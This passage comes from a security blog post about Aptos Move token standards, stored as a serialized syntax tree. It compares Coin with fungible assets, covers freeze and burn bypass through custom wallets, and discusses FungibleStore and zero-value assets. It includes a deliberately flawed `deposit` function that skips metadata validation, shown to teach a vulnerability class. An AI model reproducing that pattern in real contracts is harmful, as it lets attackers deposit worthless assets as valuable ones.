EventHandle",{"type":23,"tag":139,"props":59144,"children":59145},{"style":259},[59146],{"type":28,"value":3808},{"type":23,"tag":139,"props":59148,"children":59149},{"style":305},[59150],{"type":28,"value":59151},"DepositEvent",{"type":23,"tag":139,"props":59153,"children":59154},{"style":259},[59155],{"type":28,"value":4141},{"type":23,"tag":139,"props":59157,"children":59158},{"class":141,"line":178},[59159,59164,59168,59172,59176,59181],{"type":23,"tag":139,"props":59160,"children":59161},{"style":294},[59162],{"type":28,"value":59163},"    withdraw_events",{"type":23,"tag":139,"props":59165,"children":59166},{"style":982},[59167],{"type":28,"value":2493},{"type":23,"tag":139,"props":59169,"children":59170},{"style":305},[59171],{"type":28,"value":59142},{"type":23,"tag":139,"props":59173,"children":59174},{"style":259},[59175],{"type":28,"value":3808},{"type":23,"tag":139,"props":59177,"children":59178},{"style":305},[59179],{"type":28,"value":59180},"WithdrawEvent",{"type":23,"tag":139,"props":59182,"children":59183},{"style":259},[59184],{"type":28,"value":4141},{"type":23,"tag":139,"props":59186,"children":59187},{"class":141,"line":187},[59188],{"type":23,"tag":139,"props":59189,"children":59190},{"style":259},[59191],{"type":28,"value":1897},{"type":23,"tag":24,"props":59193,"children":59194},{},[59195,59197,59202,59204,59209],{"type":28,"value":59196},"However, an astute reader would note that this isn't the only place a ",{"type":23,"tag":135,"props":59198,"children":59200},{"className":59199},[],[59201],{"type":28,"value":58866},{"type":28,"value":59203}," can be stored. You can create your own ",{"type":23,"tag":135,"props":59205,"children":59207},{"className":59206},[],[59208],{"type":28,"value":58866},{"type":28,"value":59210}," wallet, which could look like this:",{"type":23,"tag":128,"props":59212,"children":59214},{"className":948,"code":59213,"language":947,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[59215],{"type":23,"tag":135,"props":59216,"children":59217},{"__ignoreMap":7},[59218,59258,59285],{"type":23,"tag":139,"props":59219,"children":59220},{"class":141,"line":142},[59221,59225,59230,59234,59238,59242,59246,59250,59254],{"type":23,"tag":139,"props":59222,"children":59223},{"style":279},[59224],{"type":28,"value":7409},{"type":23,"tag":139,"props":59226,"children":59227},{"style":305},[59228],{"type":28,"value":59229}," DefinitelyLegitCoinStore",{"type":23,"tag":139,"props":59231,"children":59232},{"style":259},[59233],{"type":28,"value":3808},{"type":23,"tag":139,"props":59235,"children":59236},{"style":294},[59237],{"type":28,"value":3813},{"type":23,"tag":139,"props":59239,"children":59240},{"style":305},[59241],{"type":28,"value":3818},{"type":23,"tag":139,"props":59243,"children":59244},{"style":259},[59245],{"type":28,"value":3823},{"type":23,"tag":139,"props":59247,"children":59248},{"style":294},[59249],{"type":28,"value":3828},{"type":23,"tag":139,"props":59251,"children":59252},{"style":294},[59253],{"type":28,"value":3934},{"type":23,"tag":139,"props":59255,"children":59256},{"style":259},[59257],{"type":28,"value":1268},{"type":23,"tag":139,"props":59259,"children":59260},{"class":141,"line":151},[59261,59265,59269,59273,59277,59281],{"type":23,"tag":139,"props":59262,"children":59263},{"style":294},[59264],{"type":28,"value":59085},{"type":23,"tag":139,"props":59266,"children":59267},{"style":982},[59268],{"type":28,"value":2493},{"type":23,"tag":139,"props":59270,"children":59271},{"style":305},[59272],{"type":28,"value":3803},{"type":23,"tag":139,"props":59274,"children":59275},{"style":259},[59276],{"type":28,"value":3808},{"type":23,"tag":139,"props":59278,"children":59279},{"style":305},[59280],{"type":28,"value":4586},{"type":23,"tag":139,"props":59282,"children":59283},{"style":259},[59284],{"type":28,"value":3995},{"type":23,"tag":139,"props":59286,"children":59287},{"class":141,"line":160},[59288],{"type":23,"tag":139,"props":59289,"children":59290},{"style":259},[59291],{"type":28,"value":1897},{"type":23,"tag":24,"props":59293,"children":59294},{},[59295,59300,59302,59308,59310,59315,59317,59323,59325,59330],{"type":23,"tag":135,"props":59296,"children":59298},{"className":59297},[],[59299],{"type":28,"value":59028},{"type":28,"value":59301}," includes a ",{"type":23,"tag":135,"props":59303,"children":59305},{"className":59304},[],[59306],{"type":28,"value":59307},"frozen",{"type":28,"value":59309}," field, allowing the issuer to block transfers to and from the store. ",{"type":23,"tag":135,"props":59311,"children":59313},{"className":59312},[],[59314],{"type":28,"value":59028},{"type":28,"value":59316}," is also required for a ",{"type":23,"tag":135,"props":59318,"children":59320},{"className":59319},[],[59321],{"type":28,"value":59322},"burn_from",{"type":28,"value":59324}," operation, which withdraws the ",{"type":23,"tag":135,"props":59326,"children":59328},{"className":59327},[],[59329],{"type":28,"value":58833},{"type":28,"value":59331}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":23,"tag":24,"props":59333,"children":59334},{},[59335,59337,59342,59344,59351,59353,59358],{"type":28,"value":59336},"Storing ",{"type":23,"tag":135,"props":59338,"children":59340},{"className":59339},[],[59341],{"type":28,"value":58833},{"type":28,"value":59343}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":23,"tag":64,"props":59345,"children":59348},{"href":59346,"rel":59347},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[68],[59349],{"type":28,"value":59350},"AIP-21",{"type":28,"value":59352}," summarizes the ",{"type":23,"tag":135,"props":59354,"children":59356},{"className":59355},[],[59357],{"type":28,"value":58833},{"type":28,"value":59359}," problems:",{"type":23,"tag":90,"props":59361,"children":59362},{},[59363,59372],{"type":23,"tag":24,"props":59364,"children":59365},{},[59366,59370],{"type":23,"tag":139,"props":59367,"children":59368},{},[59369],{"type":28,"value":7599},{"type":28,"value":59371}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":23,"tag":24,"props":59373,"children":59374},{},[59375],{"type":28,"value":59376},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":23,"tag":24,"props":59378,"children":59379},{},[59380],{"type":28,"value":59381},"And declares, that:",{"type":23,"tag":90,"props":59383,"children":59384},{},[59385],{"type":23,"tag":24,"props":59386,"children":59387},{},[59388],{"type":28,"value":59389},"Fungible assets addresses these issues.",{"type":23,"tag":24,"props":59391,"children":59392},{},[59393],{"type":28,"value":59394},"Let's find out whether this is indeed the case.",{"type":23,"tag":41,"props":59396,"children":59398},{"id":59397},"the-fungible-assets",[59399],{"type":28,"value":59400},"The fungible assets",{"type":23,"tag":24,"props":59402,"children":59403},{},[59404,59406,59412,59414,59421],{"type":28,"value":59405},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":23,"tag":135,"props":59407,"children":59409},{"className":59408},[],[59410],{"type":28,"value":59411},"FungibleAsset",{"type":28,"value":59413}," uses the ",{"type":23,"tag":64,"props":59415,"children":59418},{"href":59416,"rel":59417},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[68],[59419],{"type":28,"value":59420},"hot-potato pattern",{"type":28,"value":2493},{"type":23,"tag":128,"props":59423,"children":59425},{"className":948,"code":59424,"language":947,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[59426],{"type":23,"tag":135,"props":59427,"children":59428},{"__ignoreMap":7},[59429,59445,59475,59495],{"type":23,"tag":139,"props":59430,"children":59431},{"class":141,"line":142},[59432,59436,59441],{"type":23,"tag":139,"props":59433,"children":59434},{"style":279},[59435],{"type":28,"value":7409},{"type":23,"tag":139,"props":59437,"children":59438},{"style":305},[59439],{"type":28,"value":59440}," FungibleAsset",{"type":23,"tag":139,"props":59442,"children":59443},{"style":259},[59444],{"type":28,"value":1268},{"type":23,"tag":139,"props":59446,"children":59447},{"class":141,"line":151},[59448,59453,59457,59462,59466,59471],{"type":23,"tag":139,"props":59449,"children":59450},{"style":294},[59451],{"type":28,"value":59452},"    metadata",{"type":23,"tag":139,"props":59454,"children":59455},{"style":982},[59456],{"type":28,"value":2493},{"type":23,"tag":139,"props":59458,"children":59459},{"style":305},[59460],{"type":28,"value":59461}," Object",{"type":23,"tag":139,"props":59463,"children":59464},{"style":259},[59465],{"type":28,"value":3808},{"type":23,"tag":139,"props":59467,"children":59468},{"style":305},[59469],{"type":28,"value":59470},"Metadata",{"type":23,"tag":139,"props":59472,"children":59473},{"style":259},[59474],{"type":28,"value":4141},{"type":23,"tag":139,"props":59476,"children":59477},{"class":141,"line":160},[59478,59483,59487,59491],{"type":23,"tag":139,"props":59479,"children":59480},{"style":294},[59481],{"type":28,"value":59482},"    amount",{"type":23,"tag":139,"props":59484,"children":59485},{"style":982},[59486],{"type":28,"value":2493},{"type":23,"tag":139,"props":59488,"children":59489},{"style":305},[59490],{"type":28,"value":3862},{"type":23,"tag":139,"props":59492,"children":59493},{"style":259},[59494],{"type":28,"value":1488},{"type":23,"tag":139,"props":59496,"children":59497},{"class":141,"line":169},[59498],{"type":23,"tag":139,"props":59499,"children":59500},{"style":259},[59501],{"type":28,"value":1897},{"type":23,"tag":24,"props":59503,"children":59504},{},[59505,59507,59512,59513,59518,59520,59525,59527,59534],{"type":28,"value":59506},"Unlike ",{"type":23,"tag":135,"props":59508,"children":59510},{"className":59509},[],[59511],{"type":28,"value":58866},{"type":28,"value":1052},{"type":23,"tag":135,"props":59514,"children":59516},{"className":59515},[],[59517],{"type":28,"value":59411},{"type":28,"value":59519}," types are defined at runtime through the ",{"type":23,"tag":135,"props":59521,"children":59523},{"className":59522},[],[59524],{"type":28,"value":59470},{"type":28,"value":59526}," field. This change was meant to ",{"type":23,"tag":64,"props":59528,"children":59531},{"href":59529,"rel":59530},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[68],[59532],{"type":28,"value":59533},"enhance extensibility",{"type":28,"value":2493},{"type":23,"tag":90,"props":59536,"children":59537},{},[59538],{"type":23,"tag":24,"props":59539,"children":59540},{},[59541],{"type":28,"value":59542},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":23,"tag":24,"props":59544,"children":59545},{},[59546,59548,59554],{"type":28,"value":59547},"An important implication is that functions accepting ",{"type":23,"tag":135,"props":59549,"children":59551},{"className":59550},[],[59552],{"type":28,"value":59553},"FungibleAssets",{"type":28,"value":59555}," must verify the metadata to ensure valid assets.",{"type":23,"tag":24,"props":59557,"children":59558},{},[59559],{"type":28,"value":59560},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":23,"tag":128,"props":59562,"children":59564},{"className":948,"code":59563,"language":947,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[59565],{"type":23,"tag":135,"props":59566,"children":59567},{"__ignoreMap":7},[59568,59605,59643,59667,59679,59687,59732,59766,59796,59803,59840,59847,59885,59892,59938],{"type":23,"tag":139,"props":59569,"children":59570},{"class":141,"line":142},[59571,59576,59580,59585,59589,59593,59597,59601],{"type":23,"tag":139,"props":59572,"children":59573},{"style":294},[59574],{"type":28,"value":59575},"public",{"type":23,"tag":139,"props":59577,"children":59578},{"style":294},[59579],{"type":28,"value":4210},{"type":23,"tag":139,"props":59581,"children":59582},{"style":294},[59583],{"type":28,"value":59584}," deposit",{"type":23,"tag":139,"props":59586,"children":59587},{"style":259},[59588],{"type":28,"value":3808},{"type":23,"tag":139,"props":59590,"children":59591},{"style":305},[59592],{"type":28,"value":3990},{"type":23,"tag":139,"props":59594,"children":59595},{"style":982},[59596],{"type":28,"value":2493},{"type":23,"tag":139,"props":59598,"children":59599},{"style":294},[59600],{"type":28,"value":3934},{"type":23,"tag":139,"props":59602,"children":59603},{"style":259},[59604],{"type":28,"value":4591},{"type":23,"tag":139,"props":59606,"children":59607},{"class":141,"line":151},[59608,59613,59617,59621,59625,59629,59634,59638],{"type":23,"tag":139,"props":59609,"children":59610},{"style":294},[59611],{"type":28,"value":59612},"    sender",{"type":23,"tag":139,"props":59614,"children":59615},{"style":982},[59616],{"type":28,"value":2493},{"type":23,"tag":139,"props":59618,"children":59619},{"style":982},[59620],{"type":28,"value":5144},{"type":23,"tag":139,"props":59622,"children":59623},{"style":294},[59624],{"type":28,"value":5149},{"type":23,"tag":139,"props":59626,"children":59627},{"style":259},[59628],{"type":28,"value":1052},{"type":23,"tag":139,"props":59630,"children":59631},{"style":294},[59632],{"type":28,"value":59633},"fa",{"type":23,"tag":139,"props":59635,"children":59636},{"style":982},[59637],{"type":28,"value":2493},{"type":23,"tag":139,"props":59639,"children":59640},{"style":305},[59641],{"type":28,"value":59642}," FungibleAsset\n",{"type":23,"tag":139,"props":59644,"children":59645},{"class":141,"line":160},[59646,59650,59654,59658,59662],{"type":23,"tag":139,"props":59647,"children":59648},{"style":259},[59649],{"type":28,"value":1062},{"type":23,"tag":139,"props":59651,"children":59652},{"style":294},[59653],{"type":28,"value":4347},{"type":23,"tag":139,"props":59655,"children":59656},{"style":259},[59657],{"type":28,"value":21041},{"type":23,"tag":139,"props":59659,"children":59660},{"style":982},[59661],{"type":28,"value":7599},{"type":23,"tag":139,"props":59663,"children":59664},{"style":259},[59665],{"type":28,"value":59666},"] {\n",{"type":23,"tag":139,"props":59668,"children":59669},{"class":141,"line":169},[59670,59675],{"type":23,"tag":139,"props":59671,"children":59672},{"style":245},[59673],{"type":28,"value":59674},"    assert_not_paused",{"type":23,"tag":139,"props":59676,"children":59677},{"style":259},[59678],{"type":28,"value":1656},{"type":23,"tag":139,"props":59680,"children":59681},{"class":141,"line":178},[59682],{"type":23,"tag":139,"props":59683,"children":59684},{"style":259},[59685],{"type":28,"value":59686},"    \n",{"type":23,"tag":139,"props":59688,"children":59689},{"class":141,"line":187},[59690,59694,59699,59703,59708,59712,59716,59720,59724,59728],{"type":23,"tag":139,"props":59691,"children":59692},{"style":279},[59693],{"type":28,"value":969},{"type":23,"tag":139,"props":59695,"children":59696},{"style":294},[59697],{"type":28,"value":59698}," fa_amount",{"type":23,"tag":139,"props":59700,"children":59701},{"style":982},[59702],{"type":28,"value":985},{"type":23,"tag":139,"props":59704,"children":59705},{"style":259},[59706],{"type":28,"value":59707}," fungible_asset",{"type":23,"tag":139,"props":59709,"children":59710},{"style":982},[59711],{"type":28,"value":1461},{"type":23,"tag":139,"props":59713,"children":59714},{"style":245},[59715],{"type":28,"value":18314},{"type":23,"tag":139,"props":59717,"children":59718},{"style":259},[59719],{"type":28,"value":262},{"type":23,"tag":139,"props":59721,"children":59722},{"style":982},[59723],{"type":28,"value":1085},{"type":23,"tag":139,"props":59725,"children":59726},{"style":294},[59727],{"type":28,"value":59633},{"type":23,"tag":139,"props":59729,"children":59730},{"style":259},[59731],{"type":28,"value":1820},{"type":23,"tag":139,"props":59733,"children":59734},{"class":141,"line":196},[59735,59739,59744,59748,59753,59757,59762],{"type":23,"tag":139,"props":59736,"children":59737},{"style":279},[59738],{"type":28,"value":969},{"type":23,"tag":139,"props":59740,"children":59741},{"style":294},[59742],{"type":28,"value":59743}," sender_address",{"type":23,"tag":139,"props":59745,"children":59746},{"style":982},[59747],{"type":28,"value":985},{"type":23,"tag":139,"props":59749,"children":59750},{"style":245},[59751],{"type":28,"value":59752}," address_of",{"type":23,"tag":139,"props":59754,"children":59755},{"style":259},[59756],{"type":28,"value":262},{"type":23,"tag":139,"props":59758,"children":59759},{"style":294},[59760],{"type":28,"value":59761},"sender",{"type":23,"tag":139,"props":59763,"children":59764},{"style":259},[59765],{"type":28,"value":1820},{"type":23,"tag":139,"props":59767,"children":59768},{"class":141,"line":205},[59769,59774,59778,59783,59787,59792],{"type":23,"tag":139,"props":59770,"children":59771},{"style":245},[59772],{"type":28,"value":59773},"    check_compliance",{"type":23,"tag":139,"props":59775,"children":59776},{"style":259},[59777],{"type":28,"value":262},{"type":23,"tag":139,"props":59779,"children":59780},{"style":294},[59781],{"type":28,"value":59782},"fa_amount",{"type":23,"tag":139,"props":59784,"children":59785},{"style":259},[59786],{"type":28,"value":1052},{"type":23,"tag":139,"props":59788,"children":59789},{"style":294},[59790],{"type":28,"value":59791},"sender_address",{"type":23,"tag":139,"props":59793,"children":59794},{"style":259},[59795],{"type":28,"value":1820},{"type":23,"tag":139,"props":59797,"children":59798},{"class":141,"line":214},[59799],{"type":23,"tag":139,"props":59800,"children":59801},{"style":259},[59802],{"type":28,"value":59686},{"type":23,"tag":139,"props":59804,"children":59805},{"class":141,"line":1320},[59806,59811,59815,59820,59824,59828,59832,59836],{"type":23,"tag":139,"props":59807,"children":59808},{"style":245},[59809],{"type":28,"value":59810},"    increase_deposit",{"type":23,"tag":139,"props":59812,"children":59813},{"style":259},[59814],{"type":28,"value":262},{"type":23,"tag":139,"props":59816,"children":59817},{"style":245},[59818],{"type":28,"value":59819},"get_vault",{"type":23,"tag":139,"props":59821,"children":59822},{"style":259},[59823],{"type":28,"value":262},{"type":23,"tag":139,"props":59825,"children":59826},{"style":294},[59827],{"type":28,"value":59791},{"type":23,"tag":139,"props":59829,"children":59830},{"style":259},[59831],{"type":28,"value":13189},{"type":23,"tag":139,"props":59833,"children":59834},{"style":294},[59835],{"type":28,"value":59782},{"type":23,"tag":139,"props":59837,"children":59838},{"style":259},[59839],{"type":28,"value":1820},{"type":23,"tag":139,"props":59841,"children":59842},{"class":141,"line":1329},[59843],{"type":23,"tag":139,"props":59844,"children":59845},{"style":259},[59846],{"type":28,"value":59686},{"type":23,"tag":139,"props":59848,"children":59849},{"class":141,"line":1580},[59850,59855,59859,59864,59868,59873,59877,59881],{"type":23,"tag":139,"props":59851,"children":59852},{"style":259},[59853],{"type":28,"value":59854},"    primary_fungible_store",{"type":23,"tag":139,"props":59856,"children":59857},{"style":982},[59858],{"type":28,"value":1461},{"type":23,"tag":139,"props":59860,"children":59861},{"style":245},[59862],{"type":28,"value":59863},"deposit",{"type":23,"tag":139,"props":59865,"children":59866},{"style":259},[59867],{"type":28,"value":262},{"type":23,"tag":139,"props":59869,"children":59870},{"style":245},[59871],{"type":28,"value":59872},"global_vault_address",{"type":23,"tag":139,"props":59874,"children":59875},{"style":259},[59876],{"type":28,"value":16389},{"type":23,"tag":139,"props":59878,"children":59879},{"style":294},[59880],{"type":28,"value":59633},{"type":23,"tag":139,"props":59882,"children":59883},{"style":259},[59884],{"type":28,"value":1820},{"type":23,"tag":139,"props":59886,"children":59887},{"class":141,"line":1597},[59888],{"type":23,"tag":139,"props":59889,"children":59890},{"style":259},[59891],{"type":28,"value":59686},{"type":23,"tag":139,"props":59893,"children":59894},{"class":141,"line":1614},[59895,59900,59904,59909,59913,59918,59922,59926,59930,59934],{"type":23,"tag":139,"props":59896,"children":59897},{"style":259},[59898],{"type":28,"value":59899},"    event",{"type":23,"tag":139,"props":59901,"children":59902},{"style":982},[59903],{"type":28,"value":1461},{"type":23,"tag":139,"props":59905,"children":59906},{"style":245},[59907],{"type":28,"value":59908},"emit",{"type":23,"tag":139,"props":59910,"children":59911},{"style":259},[59912],{"type":28,"value":262},{"type":23,"tag":139,"props":59914,"children":59915},{"style":305},[59916],{"type":28,"value":59917},"Deposit",{"type":23,"tag":139,"props":59919,"children":59920},{"style":259},[59921],{"type":28,"value":43113},{"type":23,"tag":139,"props":59923,"children":59924},{"style":294},[59925],{"type":28,"value":59791},{"type":23,"tag":139,"props":59927,"children":59928},{"style":259},[59929],{"type":28,"value":1052},{"type":23,"tag":139,"props":59931,"children":59932},{"style":294},[59933],{"type":28,"value":59782},{"type":23,"tag":139,"props":59935,"children":59936},{"style":259},[59937],{"type":28,"value":30910},{"type":23,"tag":139,"props":59939,"children":59940},{"class":141,"line":1627},[59941],{"type":23,"tag":139,"props":59942,"children":59943},{"style":259},[59944],{"type":28,"value":1897},{"type":23,"tag":24,"props":59946,"children":59947},{},[59948],{"type":28,"value":59949},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":23,"tag":24,"props":59951,"children":59952},{},[59953],{"type":28,"value":59954},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":23,"tag":41,"props":59956,"children":59958},{"id":59957},"fungible-stores",[59959],{"type":28,"value":59960},"Fungible stores",{"type":23,"tag":24,"props":59962,"children":59963},{},[59964],{"type":28,"value":59965},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":23,"tag":24,"props":59967,"children":59968},{},[59969,59971,59977],{"type":28,"value":59970},"Meet the ",{"type":23,"tag":135,"props":59972,"children":59974},{"className":59973},[],[59975],{"type":28,"value":59976},"FungibleStore",{"type":28,"value":73},{"type":23,"tag":128,"props":59979,"children":59981},{"className":948,"code":59980,"language":947,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[59982],{"type":23,"tag":135,"props":59983,"children":59984},{"__ignoreMap":7},[59985,60009,60036,60056,60075],{"type":23,"tag":139,"props":59986,"children":59987},{"class":141,"line":142},[59988,59992,59997,60001,60005],{"type":23,"tag":139,"props":59989,"children":59990},{"style":279},[59991],{"type":28,"value":7409},{"type":23,"tag":139,"props":59993,"children":59994},{"style":305},[59995],{"type":28,"value":59996}," FungibleStore",{"type":23,"tag":139,"props":59998,"children":59999},{"style":294},[60000],{"type":28,"value":7418},{"type":23,"tag":139,"props":60002,"children":60003},{"style":294},[60004],{"type":28,"value":3934},{"type":23,"tag":139,"props":60006,"children":60007},{"style":259},[60008],{"type":28,"value":1268},{"type":23,"tag":139,"props":60010,"children":60011},{"class":141,"line":151},[60012,60016,60020,60024,60028,60032],{"type":23,"tag":139,"props":60013,"children":60014},{"style":294},[60015],{"type":28,"value":59452},{"type":23,"tag":139,"props":60017,"children":60018},{"style":982},[60019],{"type":28,"value":2493},{"type":23,"tag":139,"props":60021,"children":60022},{"style":305},[60023],{"type":28,"value":59461},{"type":23,"tag":139,"props":60025,"children":60026},{"style":259},[60027],{"type":28,"value":3808},{"type":23,"tag":139,"props":60029,"children":60030},{"style":305},[60031],{"type":28,"value":59470},{"type":23,"tag":139,"props":60033,"children":60034},{"style":259},[60035],{"type":28,"value":4141},{"type":23,"tag":139,"props":60037,"children":60038},{"class":141,"line":160},[60039,60044,60048,60052],{"type":23,"tag":139,"props":60040,"children":60041},{"style":294},[60042],{"type":28,"value":60043},"    balance",{"type":23,"tag":139,"props":60045,"children":60046},{"style":982},[60047],{"type":28,"value":2493},{"type":23,"tag":139,"props":60049,"children":60050},{"style":305},[60051],{"type":28,"value":3862},{"type":23,"tag":139,"props":60053,"children":60054},{"style":259},[60055],{"type":28,"value":1488},{"type":23,"tag":139,"props":60057,"children":60058},{"class":141,"line":169},[60059,60063,60067,60071],{"type":23,"tag":139,"props":60060,"children":60061},{"style":294},[60062],{"type":28,"value":59113},{"type":23,"tag":139,"props":60064,"children":60065},{"style":982},[60066],{"type":28,"value":2493},{"type":23,"tag":139,"props":60068,"children":60069},{"style":305},[60070],{"type":28,"value":10061},{"type":23,"tag":139,"props":60072,"children":60073},{"style":259},[60074],{"type":28,"value":1488},{"type":23,"tag":139,"props":60076,"children":60077},{"class":141,"line":178},[60078],{"type":23,"tag":139,"props":60079,"children":60080},{"style":259},[60081],{"type":28,"value":1897},{"type":23,"tag":24,"props":60083,"children":60084},{},[60085,60090,60092,60097,60099,60104,60106,60111,60113,60118],{"type":23,"tag":135,"props":60086,"children":60088},{"className":60087},[],[60089],{"type":28,"value":59976},{"type":28,"value":60091}," manages balances and metadata instead of holding the actual ",{"type":23,"tag":135,"props":60093,"children":60095},{"className":60094},[],[60096],{"type":28,"value":59411},{"type":28,"value":60098}," (it can't because ",{"type":23,"tag":135,"props":60100,"children":60102},{"className":60101},[],[60103],{"type":28,"value":59411},{"type":28,"value":60105}," doesn't have ",{"type":23,"tag":135,"props":60107,"children":60109},{"className":60108},[],[60110],{"type":28,"value":3943},{"type":28,"value":60112},"). Withdrawals create temporary ",{"type":23,"tag":135,"props":60114,"children":60116},{"className":60115},[],[60117],{"type":28,"value":59411},{"type":28,"value":60119}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":23,"tag":16800,"props":60121,"children":60122},{},[],{"type":23,"tag":24,"props":60124,"children":60125},{},[60126,60128,60133,60135,60140],{"type":28,"value":60127},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":23,"tag":135,"props":60129,"children":60131},{"className":60130},[],[60132],{"type":28,"value":59411},{"type":28,"value":60134}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":23,"tag":135,"props":60136,"children":60138},{"className":60137},[],[60139],{"type":28,"value":59411},{"type":28,"value":73},{"type":23,"tag":128,"props":60142,"children":60144},{"className":948,"code":60143,"language":947,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    }\n}\n",[60145],{"type":23,"tag":135,"props":60146,"children":60147},{"__ignoreMap":7},[60148,60185,60237,60280,60287,60294,60366,60378,60416,60435,60442],{"type":23,"tag":139,"props":60149,"children":60150},{"class":141,"line":142},[60151,60155,60159,60164,60168,60173,60177,60181],{"type":23,"tag":139,"props":60152,"children":60153},{"style":294},[60154],{"type":28,"value":59575},{"type":23,"tag":139,"props":60156,"children":60157},{"style":294},[60158],{"type":28,"value":4210},{"type":23,"tag":139,"props":60160,"children":60161},{"style":245},[60162],{"type":28,"value":60163}," destroy_zero",{"type":23,"tag":139,"props":60165,"children":60166},{"style":259},[60167],{"type":28,"value":262},{"type":23,"tag":139,"props":60169,"children":60170},{"style":294},[60171],{"type":28,"value":60172},"fungible_asset",{"type":23,"tag":139,"props":60174,"children":60175},{"style":982},[60176],{"type":28,"value":2493},{"type":23,"tag":139,"props":60178,"children":60179},{"style":305},[60180],{"type":28,"value":59440},{"type":23,"tag":139,"props":60182,"children":60183},{"style":259},[60184],{"type":28,"value":12815},{"type":23,"tag":139,"props":60186,"children":60187},{"class":141,"line":151},[60188,60192,60196,60200,60204,60208,60213,60217,60221,60225,60229,60233],{"type":23,"tag":139,"props":60189,"children":60190},{"style":279},[60191],{"type":28,"value":969},{"type":23,"tag":139,"props":60193,"children":60194},{"style":305},[60195],{"type":28,"value":59440},{"type":23,"tag":139,"props":60197,"children":60198},{"style":259},[60199],{"type":28,"value":7594},{"type":23,"tag":139,"props":60201,"children":60202},{"style":294},[60203],{"type":28,"value":18314},{"type":23,"tag":139,"props":60205,"children":60206},{"style":259},[60207],{"type":28,"value":1052},{"type":23,"tag":139,"props":60209,"children":60210},{"style":294},[60211],{"type":28,"value":60212},"metadata",{"type":23,"tag":139,"props":60214,"children":60215},{"style":982},[60216],{"type":28,"value":2493},{"type":23,"tag":139,"props":60218,"children":60219},{"style":294},[60220],{"type":28,"value":1008},{"type":23,"tag":139,"props":60222,"children":60223},{"style":259},[60224],{"type":28,"value":34092},{"type":23,"tag":139,"props":60226,"children":60227},{"style":982},[60228],{"type":28,"value":1067},{"type":23,"tag":139,"props":60230,"children":60231},{"style":294},[60232],{"type":28,"value":59707},{"type":23,"tag":139,"props":60234,"children":60235},{"style":259},[60236],{"type":28,"value":995},{"type":23,"tag":139,"props":60238,"children":60239},{"class":141,"line":160},[60240,60245,60249,60253,60257,60261,60266,60270,60275],{"type":23,"tag":139,"props":60241,"children":60242},{"style":245},[60243],{"type":28,"value":60244},"    assert!",{"type":23,"tag":139,"props":60246,"children":60247},{"style":259},[60248],{"type":28,"value":262},{"type":23,"tag":139,"props":60250,"children":60251},{"style":294},[60252],{"type":28,"value":18314},{"type":23,"tag":139,"props":60254,"children":60255},{"style":982},[60256],{"type":28,"value":1259},{"type":23,"tag":139,"props":60258,"children":60259},{"style":1016},[60260],{"type":28,"value":1019},{"type":23,"tag":139,"props":60262,"children":60263},{"style":259},[60264],{"type":28,"value":60265},", error",{"type":23,"tag":139,"props":60267,"children":60268},{"style":982},[60269],{"type":28,"value":1461},{"type":23,"tag":139,"props":60271,"children":60272},{"style":245},[60273],{"type":28,"value":60274},"invalid_argument",{"type":23,"tag":139,"props":60276,"children":60277},{"style":259},[60278],{"type":28,"value":60279},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":23,"tag":139,"props":60281,"children":60282},{"class":141,"line":169},[60283],{"type":23,"tag":139,"props":60284,"children":60285},{"style":259},[60286],{"type":28,"value":1897},{"type":23,"tag":139,"props":60288,"children":60289},{"class":141,"line":178},[60290],{"type":23,"tag":139,"props":60291,"children":60292},{"emptyLinePlaceholder":15},[60293],{"type":28,"value":184},{"type":23,"tag":139,"props":60295,"children":60296},{"class":141,"line":187},[60297,60301,60305,60310,60314,60318,60322,60326,60330,60334,60338,60342,60346,60350,60354,60358,60362],{"type":23,"tag":139,"props":60298,"children":60299},{"style":294},[60300],{"type":28,"value":59575},{"type":23,"tag":139,"props":60302,"children":60303},{"style":294},[60304],{"type":28,"value":4210},{"type":23,"tag":139,"props":60306,"children":60307},{"style":294},[60308],{"type":28,"value":60309}," 